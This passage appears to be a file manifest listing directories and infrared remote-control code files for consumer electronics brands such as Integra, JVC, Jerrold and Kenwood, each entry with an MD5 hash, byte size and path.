+F:a30229773701cc7f113a3f972fc42acc:34255:infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir +F:d811a42eefc765412c4eed3ccdba7d59:6551:infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir +F:f27775e345669d513c610692b93d0480:6062:infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir +F:74c8d8d87e22535fd0df62d0ef90698a:1979:infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir +F:5e1b71ac1de10d2692cac419eb74fc78:513:infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir +F:81dd91b92eef174636d952994a2c97e9:15425:infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir +F:7c6aa96d272d12b2126489e64f1bc55d:5602:infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir +F:cb3e591f4fb127f8dc4da690fe295a39:5056:infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir +F:b90c6a06f042290da0dc08e8101a54be:1592:infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir +F:0776d54fc672e6b7a32698504f0df8a8:412:infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir +F:fe367b49c25506700374d760d66e9041:3491:infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir +F:928b3a97711b6fae44d565ba7791c4ad:6975:infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir +F:6bb2bcc97e14ca2f7e45622fc7a36284:11614:infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir +F:08269e237c6fa782c6b9811035fcbd2f:130:infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir +F:9c42cb8079d4bcaf20bd2849147bd60a:217:infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir +F:746b4069c00dd8f402e7c00954344a5a:1019:infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir +F:4bb9d2d97437db9ebec6f36e4c53940e:1411:infrared/_CSV-IRDB_/Integra/iPod/210,108.ir +F:2e15acd9181e83fad9ed9ba2d6a56364:829:infrared/_CSV-IRDB_/Integra/iPod/210,109.ir +F:ffff35574b9a5b64d50aae52abe14c33:1592:infrared/_CSV-IRDB_/Integra/iPod/210,172.ir +F:65408298f436555c8aafb6c63791aef2:2213:infrared/_CSV-IRDB_/Integra/iPod/210,2.ir +D:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio +F:d3ffb1f8412047bc9dd47f17c260bd4e:2931:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir +D:infrared/_CSV-IRDB_/Interact/Unknown_I-22121 +F:560af23956ee806f3e71df583cefd24f:1585:infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir +D:infrared/_CSV-IRDB_/Intervideo/VCR +F:db808478376a78e5571f4cd7d5cc39bb:4043:infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir +D:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision +F:c9f2aba8cc1e0e99c230fc5b498210a2:2981:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir +D:infrared/_CSV-IRDB_/Irradio/3331_DVB-T +D:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V +F:12f09c5adf1574ba9f21a6711cbb4f8c:3186:infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir +F:2adaf5a4c8caa98fef2882d2f6f61ce9:1861:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir +D:infrared/_CSV-IRDB_/JBL/Receiver +D:infrared/_CSV-IRDB_/JBL/Surround Processor +F:9f3a4cf5abc7f4800e4a533b8b8700f6:2318:infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir +F:06c1ccbea0ba54dd2c85c2636e081f29:7451:infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir +F:2b231ff6993e83d807a7a96bcff3ebbc:3178:infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir +F:ceec37cb321125212482c40538e0300e:3554:infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir +D:infrared/_CSV-IRDB_/JENSEN/VCR +F:244f75ab18ba9cf337e299b280c00759:2127:infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir +D:infrared/_CSV-IRDB_/JVC/CD Jukebox +D:infrared/_CSV-IRDB_/JVC/CD Player +D:infrared/_CSV-IRDB_/JVC/Camcorder +D:infrared/_CSV-IRDB_/JVC/Cassette Tape +D:infrared/_CSV-IRDB_/JVC/D-VHS +D:infrared/_CSV-IRDB_/JVC/DVD Player +D:infrared/_CSV-IRDB_/JVC/DVD Recorder +D:infrared/_CSV-IRDB_/JVC/HD-ILA Projection +D:infrared/_CSV-IRDB_/JVC/Karaoke +D:infrared/_CSV-IRDB_/JVC/LCD +D:infrared/_CSV-IRDB_/JVC/LCD TV +D:infrared/_CSV-IRDB_/JVC/Mini System +D:infrared/_CSV-IRDB_/JVC/Monitor +D:infrared/_CSV-IRDB_/JVC/Plasma +D:infrared/_CSV-IRDB_/JVC/Projector +D:infrared/_CSV-IRDB_/JVC/Receiver +D:infrared/_CSV-IRDB_/JVC/S-VHS +D:infrared/_CSV-IRDB_/JVC/Satellite +D:infrared/_CSV-IRDB_/JVC/Switcher +D:infrared/_CSV-IRDB_/JVC/TV +D:infrared/_CSV-IRDB_/JVC/Tuner +D:infrared/_CSV-IRDB_/JVC/Unknown_440 +D:infrared/_CSV-IRDB_/JVC/Unknown_JVC +D:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W +D:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500 +D:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002 +D:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4 +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U +D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U +D:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J +D:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr +D:infrared/_CSV-IRDB_/JVC/Unknown_remote +D:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241 +D:infrared/_CSV-IRDB_/JVC/Unknown_sw +D:infrared/_CSV-IRDB_/JVC/VCR +D:infrared/_CSV-IRDB_/JVC/Video Projector +D:infrared/_CSV-IRDB_/JVC/Video Switcher +F:60a93ce695f379c7400526d67aa1bfaa:2409:infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir +F:07c84e0a079b03979bdd2ea0d719175b:418:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir +F:b3a23baa21806f1e04ffd7bdcbe15ddf:3266:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir +F:edd5cf382bc3ae689114ea505c85fe02:17186:infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir +F:dd5742a8047bc1f24eb66a91df9e3f1f:13836:infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir +F:a421e7080f7e80d29034509e92406d82:510:infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir +F:c02fba08b186944a9c07a4766931ddc4:4949:infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir +F:ed2b8577912b0599949725c1120ff861:2166:infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir +F:10300450198b811f757c2ed9de927456:636:infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir +F:c687344eedaab898e0fe8a934b852c78:2427:infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir +F:33c06e4501dffe5b97ba10d17bef5597:4013:infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir +F:eeff5eb0aeb793f09c6f3a49cf696c24:1849:infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir +F:fad7874d6d79e5e652bbfdd80482e59e:12797:infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir +F:14406de4ade763701b3e8bc35c9a07f5:817:infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir +F:23725cd9106c321ec5e6966b9f8468b1:5310:infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir +F:62bf81d46b60eb6829324bf233080294:3084:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir +F:0b3d0b8de2694b9d2a2dcabad6fef90d:237:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir +F:ccdd8e1d042442fd68c8f15c4b273457:4444:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir +F:88365555cbdb0b49002c6b8a8895a33e:132:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir +F:d086a46a21626bfad31bf7342d3037c1:135:infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir +F:db7e65e71d3d35ac0a1a1fc5fe60a83d:2318:infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir +F:5cc02cf74dcf41efd2537b3f907ad770:223:infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir +F:0909fefae15aaf8f955b2bd61b4550bb:128:infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir +F:6304f74be63b430c1b8e2591da058bea:2237:infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir +F:cb70d1eb621a5b0ea0acc0d060e90f22:523:infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir +F:1474460d972290f0d9200d9c1a1f4dbf:128:infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir +F:f4899c42d4334d1e44c921264fe11233:1273:infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir +F:d3c289de82227732cb0acdf511eada48:1111:infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir +F:f76967a4ce0d835d2509d3dacdf49405:1957:infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir +F:f1f3eea8470944c544e99c48331d558d:2110:infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir +F:6743dbf9e47b4ba7f0c186c1a11a1bd0:1403:infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir +F:c03524a69ccb150fe6f66d81ad158fa5:3847:infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir +F:04cc8c031603abbb5e5a6de4e166b910:224:infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir +F:5ed16c659577931b201ce885eb12a2a9:6948:infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir +F:83a741925e1ea9ba1aaceccb5f6f3607:1964:infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir +F:cb5d29bf267963ca0a7107c1ab911c90:326:infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir +F:fe61cadb4f1071b46a9f8b0a55cf29cd:5120:infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir +F:a6093a2a94cf6672ef47a78ba8cc8943:730:infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir +F:dfa96d9547a4bd888f75817bac53d397:630:infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir +F:a589c0f58258573bd957c04460a9c484:10071:infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir +F:ca80c7c99cd7516c3d194ac07e2f6961:3824:infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir +F:55f07164deadd9b44df89bc4ade44565:4705:infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir +F:0ec3111fc141afb417abd3e7bf4488b9:29412:infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir +F:47b72a64ecde806f10296986c6c4dd66:2110:infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir +F:1c11fcacf7bd0a457319d4533586d1cb:17862:infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir +F:ed696f3c6ad7bad41ad3819a7ed69b9a:1845:infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir +F:cba369af462a3be6b1c498dbad4a240b:138:infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir +F:befa85faa58406a311f0d699d48df53b:8420:infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir +F:0d292e55f15837c456e4749d39ee09d7:234:infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir +F:87be66fc0e382fff1de051044e6f3795:10432:infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir +F:504fab8bdb0d6a5e51b0fa9de9b6a7ab:2573:infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir +F:60fd2639f75893315f4300c4c12ad9a7:2144:infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir +F:f73bee3d145bd601aebc3acebf70a3e6:1196:infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir +F:b8eec138f8b615258c98d8204482638f:217:infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir +F:7ac59b54f2ee4b3150cd22a6e6a69482:1323:infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir +F:ccd92f7efc9d0ca7572d22ce3fbcbbb1:410:infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir +F:5cc8e573a76043e69fa60d1519974f97:2161:infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir +F:b039b4edb5edb33985afe170c80d3545:519:infrared/_CSV-IRDB_/JVC/TV/15,-1.ir +F:c2f0577d38c1051f998b5b1ae1452d93:10990:infrared/_CSV-IRDB_/JVC/TV/3,-1.ir +F:a093b02a10162432067dd2985650bdf1:698:infrared/_CSV-IRDB_/JVC/TV/31,-1.ir +F:88365555cbdb0b49002c6b8a8895a33e:132:infrared/_CSV-IRDB_/JVC/TV/67,-1.ir +F:219681bc1d69c82165c5df9925d9e05d:820:infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir +F:9d03c76176f8ffb2fcbb2bf8acd55eab:1807:infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir +F:f99fee37e4052487d80b23e66bb572f6:4567:infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir +F:e97bf07c1c75ad4be869120c690f464a:2292:infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir +F:3ebd1cf3f0529c83c27b549eeb948eef:322:infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir +F:ea5da790174ef2799469fbd956861c0a:908:infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir +F:b07b6483c313ff85adc015d3949364ac:2217:infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir +F:20a016cd630494e3b6347280e27e2b5e:2570:infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir +F:59cdd00d042313f1f4eb14971d4a9ef9:2702:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir +F:1aa4bf6e67118412f03d8a828077de73:3735:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir +F:43966bfbca41b59889d886581632ca0e:2770:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir +F:d7804696cc0c19827e49ae50bf0a73e8:2003:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir +F:01719f918b22e53d4c51c40c5a61e07e:2685:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir +F:76beb57e836979839e8377f88fd1261d:2790:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir +F:208139531314bc6b78c40668860107f7:2502:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir +F:064f9129f8dda47e9b4a1e9b4f655b83:2630:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir +F:3e1c29f24c7ef7544ce4763af11356fb:2536:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir +F:2bf6012648ca19d10cf62c08adf3bea8:3275:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir +F:914c03ca73ca8de8a5f3fbad3eb7c781:2702:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir +F:363a0b647ee0e7a42cc26dffe4eb65f3:894:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir +F:4e3246dd67dd8e25971184bfb19faaa3:904:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir +F:fc5d1a1fdd6c3ecb5e1413eb5d7edf5a:3092:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir +F:31f7a6ec2b190cb021d8d3c1d3f838ef:1732:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir +F:31fe3bb168820a7174494cb416643ed5:4677:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir +F:b8aaac47cc6592a4fb959522b7ccfd74:3154:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir +F:6da183fd82a4984ff576113c1023d434:3744:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir +F:02408e5ceb9cad4072522edee64298fb:2125:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir +F:aa741bd83fd772b1211933e34d9c6e28:2599:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir +F:4f21379e353c885d680139c28fb448b6:3845:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir +F:2bca830d8ef3fefd8b421640e8e683d2:1012:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir +F:a51147c377e63a8f126a5ff3a97e2008:1864:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir +F:ca08ee1f3a881125c6236f5eb8ae1bcb:1641:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir +F:6d144b76d935faae0e764198f9dca84f:4078:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir +F:8a576f79f6f650d076f9ef64c88a49c1:4434:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir +F:85f258bb6f254bd0f5c296dd5180d556:3728:infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir +F:d4bbfe927dcbce6a9d0bd618cefb6959:2311:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir +F:33db4156f69f29a2321975e67635b504:1527:infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir +F:30df04b465eccb67575accbf6aff99d7:2152:infrared/_CSV-IRDB_/JVC/VCR/0,14.ir +F:a8316922b83926d5fc2dfb28b410eeff:5494:infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir +F:e41ec40372bf4b7747798badf05eda9e:224:infrared/_CSV-IRDB_/JVC/VCR/1,14.ir +F:15ac495cb5bdb2403e5797661a72a261:522:infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir +F:91736f23036101771d849c4922045282:2425:infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir +F:a773b8eb10fda226c836dde97f7844ed:2157:infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir +F:e1bfad44f5088d926f4b9e6bfc84745a:10300:infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir +F:18982f6a4a86368a8584ff2b9e505a03:140:infrared/_CSV-IRDB_/JVC/VCR/5,1.ir +F:86fc587a8630ec64de1ca826ceddd942:921:infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir +F:0193176be5128c9f9a94755e447180ae:62179:infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir +F:454b29ca9e313fa321ea62a6f18fc705:1463:infrared/_CSV-IRDB_/JVC/VCR/8,14.ir +F:5a37aa82bac6e4981ca7c8be79c41213:146:infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir +F:71ceb67a4fc6e2b6a04279557a37fca2:22133:infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir +F:4c2f05e63d1ede8fe6b2b732526c76dd:12139:infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir +F:a7b4af8f02f6d82f5fa564448c9f1df3:1148:infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir +F:0e34b6fe61afefd18cfe01b61f698134:3351:infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir +D:infrared/_CSV-IRDB_/Jamo/DVD Receiver +F:07a3daf3053a568319f50a2767f2ee9c:5097:infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir +D:infrared/_CSV-IRDB_/Jerrold/Cable Box +D:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd +D:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000 +D:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC +D:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD +F:b251f6641a0ed283330f4cff4055878b:5244:infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir +F:75ce359ef8b3a3bb9f0ad0b33370f7c5:409:infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir +F:6d3834466d4cc3a25e91e432642346f6:2565:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir +F:13b3f0eeb5cb005ef131560f98eacd9b:1437:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir +F:dafa4b0affef6c8a4ddec00feccd31e9:2576:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir +F:c3f51366bdbbd844194c6e6604f05ac7:2487:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir +D:infrared/_CSV-IRDB_/KAWA/Unknown_TV +F:307323a525df23d63e89b162be05ce7b:3126:infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir +D:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081 +F:a7d1fa4235ec70980b7298990190863a:1098:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir +D:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher +D:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher +D:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher +D:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher +F:b8500ad8d304644e8f75aeb12a49316d:2534:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir +F:f82474c698d55a29e02fde47106930ab:9695:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir +F:5adea7cb05764b788a48f34dce6f2b04:2874:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir +F:09b2f03a1575964643b90231e6edea26:131:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir +F:42141ce8c5a905a800afd1cca1afa81b:831:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir +F:90f748ee8d28a6c639d0dded28f5347f:391:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir +F:5adea7cb05764b788a48f34dce6f2b04:2874:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir +F:09b2f03a1575964643b90231e6edea26:131:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir +D:infrared/_CSV-IRDB_/Kaleidescape/DVD Player +D:infrared/_CSV-IRDB_/Kaleidescape/Distributed +F:f5bfd966b9666d2799a7c595c42f3b04:7176:infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir +F:2e03c4ffde283bee3d64670815b7f131:5962:infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir +D:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO +D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO +D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO +F:cba8702b7ba6db77c22e075e2c611e0d:3632:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir +F:c37924ca2a64cb4e973e6f1d2092ac9e:2877:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir +F:951d0b7efdeb780986fd132b8988cd31:3347:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir +D:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver +D:infrared/_CSV-IRDB_/Kathrein/Satellite +D:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400 +F:fd93bd80c63e1abba3748bf0ba870e49:6970:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir +F:abee499a16e3d78b31e43f65594a5f7c:2450:infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir +F:683c4a83e7aa73ee0f80abc14bc89634:3373:infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir +F:70ecaff979cc620ba48a0f4a77984728:2447:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir +D:infrared/_CSV-IRDB_/Kensington/MP3 Player +D:infrared/_CSV-IRDB_/Kensington/iPod Dock +F:09a12aca25229ae6dd40c1c132e64940:514:infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir +F:fdc1ba4849128c859813ca0cb54ccf15:999:infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir +D:infrared/_CSV-IRDB_/Kenwood/Amplifier +D:infrared/_CSV-IRDB_/Kenwood/CD Changer +D:infrared/_CSV-IRDB_/Kenwood/CD Player +D:infrared/_CSV-IRDB_/Kenwood/Cassette Tape +D:infrared/_CSV-IRDB_/Kenwood/DVD Changer +D:infrared/_CSV-IRDB_/Kenwood/DVD Player +D:infrared/_CSV-IRDB_/Kenwood/Laser Disc +D:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier +D:infrared/_CSV-IRDB_/Kenwood/Receiver +D:infrared/_CSV-IRDB_/Kenwood/Satellite Radio +D:infrared/_CSV-IRDB_/Kenwood/Sirius +D:infrared/_CSV-IRDB_/Kenwood/Tuner +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E +D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800 +D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87 +D:infrared/_CSV-IRDB_/Kenwood/VCR +F:6bd06cf524583453e7d4bf79cb93f1c6:1857:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir +F:f06385892bc27d829e0bbf6343c3aedd:721:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir +F:ac8f4b55340d6ccbbc454de63cf58083:1037:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir +F:d0bf87aae39d628a3f792905920a7d69:130:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir +F:e2ca8ecf0cab3454d0e23272fa645de5:848:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir +F:d70298372587bc6cece9973938bc2867:2071:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir +F:622b5370526d2d64f3110b7cd15ad86f:130:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir +F:c0ca2571efe258e82d7e680f4535c3bc:778:infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir +F:2ad1a98b311fa32b7c41c03466b95022:9837:infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir +F:ec2c49e1ba28d5db606a47b3ea1c8db8:6295:infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir +F:0c45af450ae5a6d1f2275ce466b424c2:501:infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir +F:54a8ad8cc130967a345ef01af6ec8976:2273:infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir 